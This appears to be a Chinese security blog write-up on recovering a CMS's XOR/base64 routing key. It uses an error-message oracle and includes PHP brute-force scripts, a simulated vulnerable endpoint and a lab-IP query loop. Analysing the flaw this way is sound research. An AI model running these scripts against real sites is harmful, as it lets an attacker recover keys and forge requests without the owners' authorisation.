某cms逆推key值

简介

加解密问题

了解一下base64的加密方式

基础索引表

image-20220118180200493

编码流程

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。

1
2
3
4
5
6
7
8
9
1)将所有字符转化为ASCII码;

2)将ASCII码转化为8位二进制;

3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;

4)将每组6位的二进制转为十进制;

5)从Base64编码表获取十进制对应的Base64编码;

目标

首先映入眼帘的就是不一样的路由!

image-20220114180644809

在run方法中对传入的_参数进行解码,这就是路由了,至于这里为什么没有传值,应该是配置了伪静态

image-20220114182530996

加解密函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
function strcode($string, $action = 'ENCODE'){
$action != 'ENCODE' && $string = base64_decode($string);
$ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$key = md5(__STRCODE__);
$keylen = strlen($key);
$strlen = strlen($string);
$code = '';
for ($i = 0; $i < $strlen; $i ++) {
$k = $i % $keylen; //余数 将字符全部位移
$code .= $string[$i] ^ $key[$k];//位移
}
return ($action != 'DECODE' ? str_replace('=','',base64_encode($code)) : $code);
}

这里不同的目标可能会存在不确定的key值

这里可以逆推key值,为什么呢?

因为当解密正确,却没有这个类或者方法的时候会爆出错误

相当于给了回显

image-20220114191010854

而key的值是什么呢?

MD5值,固定的格式

  • 32位
  • 0-f字符

我们可以每一位每一位的破解,通过一个不存在类

每一个字符存在16中情况

这不是指数,这只是简单的相加,总共需要计算16*32次

这里模拟以下环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//remote_test.php
function strcode($string, $action = 'ENCODE'){
$action != 'ENCODE' && $string = base64_decode($string);
$ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$key = md5('hkbsi');
$keylen = strlen($key);
$strlen = strlen($string);
$code = '';
for ($i = 0; $i < $strlen; $i ++) {
$k = $i % $keylen; //余数 将字符全部位移
$code .= $string[$i] ^ $key[$k];//位移
}
return ($action != 'DECODE' ? str_replace('=','',base64_encode($code)) : $code);
}
echo strcode($_GET['a'],'DECODE');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
//test.php
function decode(){
$str_arr = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f');
$str = '';
$key = '';
for($i=0; $i<33; $i++){
$str .= '1';
foreach ($str_arr as $k=>$v){
$key_tmp = $key.$v;
$keylen = strlen($key_tmp);
$strlen = strlen($str);
$code = '';
for ($i = 0; $i < $strlen; $i ++) {
$k = $i % $keylen; //余数 将字符全部位移
$code .= $str[$i] ^ $key_tmp[$k];//位移
}
$jiami_str = str_replace('=','',base64_encode($code));
$jiemi_str = file_get_contents("http://192.168.198.152/remote_test.php?a=".$jiami_str);//这里相当于调用远程接口进行判断
if($jiemi_str == $str){
echo $v."\n";
$key .= $v;
break;
}
}
}
return $key;
}

echo decode();

瞬间数据就出来了

image-20220114192103806

一样的值

image-20220114192146978

当然目标系统中的还要更复杂一些,因为并不是从第一位开始给报错的

而要想出现类报错,最起码存在五位

  • act=.

出现error:param act,最起码需要五位

  • act=a

而必要的爆破的是前四位,act=,根据开始的base64的转换过程

取出目标站编码后的6位base64字符,去爆破

  • V1UXWW

这不一定完全精确,因为base64存在自动补位,但是可以保证我们的act=一定在其中

image-20220118182513706

纯爆破的话也就六万多次,但是可以优化一下

  • a=>V
  • ac=>V1U
  • act=>V1UX
  • act=>V1UXW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
function decode(){
$str_arr = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f');
$string = 'act=';
$keylen = 3;
$code = '';
$arr_tmp_1 = array();
$arr_tmp_2 = array();
$arr_tmp_3 = array();
$arr_tmp_4 = array();
foreach ($str_arr as $k=>$v){
$code = '';
for ($i = 0; $i < 1; $i ++) {
$code .= $string[$i] ^ $v;
}
$jiami_code = str_replace('=','',base64_encode($code));
if(strpos($jiami_code,'V')===0){
$arr_tmp_1[] = $v;
}
}
foreach ($arr_tmp_1 as $k_1=>$v_1){
foreach ($str_arr as $k=>$v){
$code = '';
$v = $v_1.$v;
for ($i = 0; $i < 2; $i ++) {
$code .= $string[$i] ^ $v[$i];
}
$jiami_code = str_replace('=','',base64_encode($code));
if(strpos($jiami_code,'V1U')===0){
$arr_tmp_2[] = $v;
}
}
}
foreach ($arr_tmp_2 as $k_2=>$v_2){
foreach ($str_arr as $k=>$v){
$code = '';
$v = $v_2.$v;
for ($i = 0; $i < 3; $i ++) {
$code .= $string[$i] ^ $v[$i];
}
$jiami_code = str_replace('=','',base64_encode($code));
if(strpos($jiami_code,'V1UX')===0){
$arr_tmp_3[] = $v;
}
}
}
foreach ($arr_tmp_3 as $k_3=>$v_3){
foreach ($str_arr as $k=>$v){
$code = '';
$v = $v_3.$v;
for ($i = 0; $i < 4; $i ++) {
$code .= $string[$i] ^ $v[$i];
}
$jiami_code = str_replace('=','',base64_encode($code));
if(strpos($jiami_code,'V1UXW')===0){
$arr_tmp_4[] = $v;
}
}
}
return $arr_tmp_4;
}
$a = decode();
var_dump($a);
?>

剩下的随便一爆就出来和最上面的步骤接上了

image-20220118190918297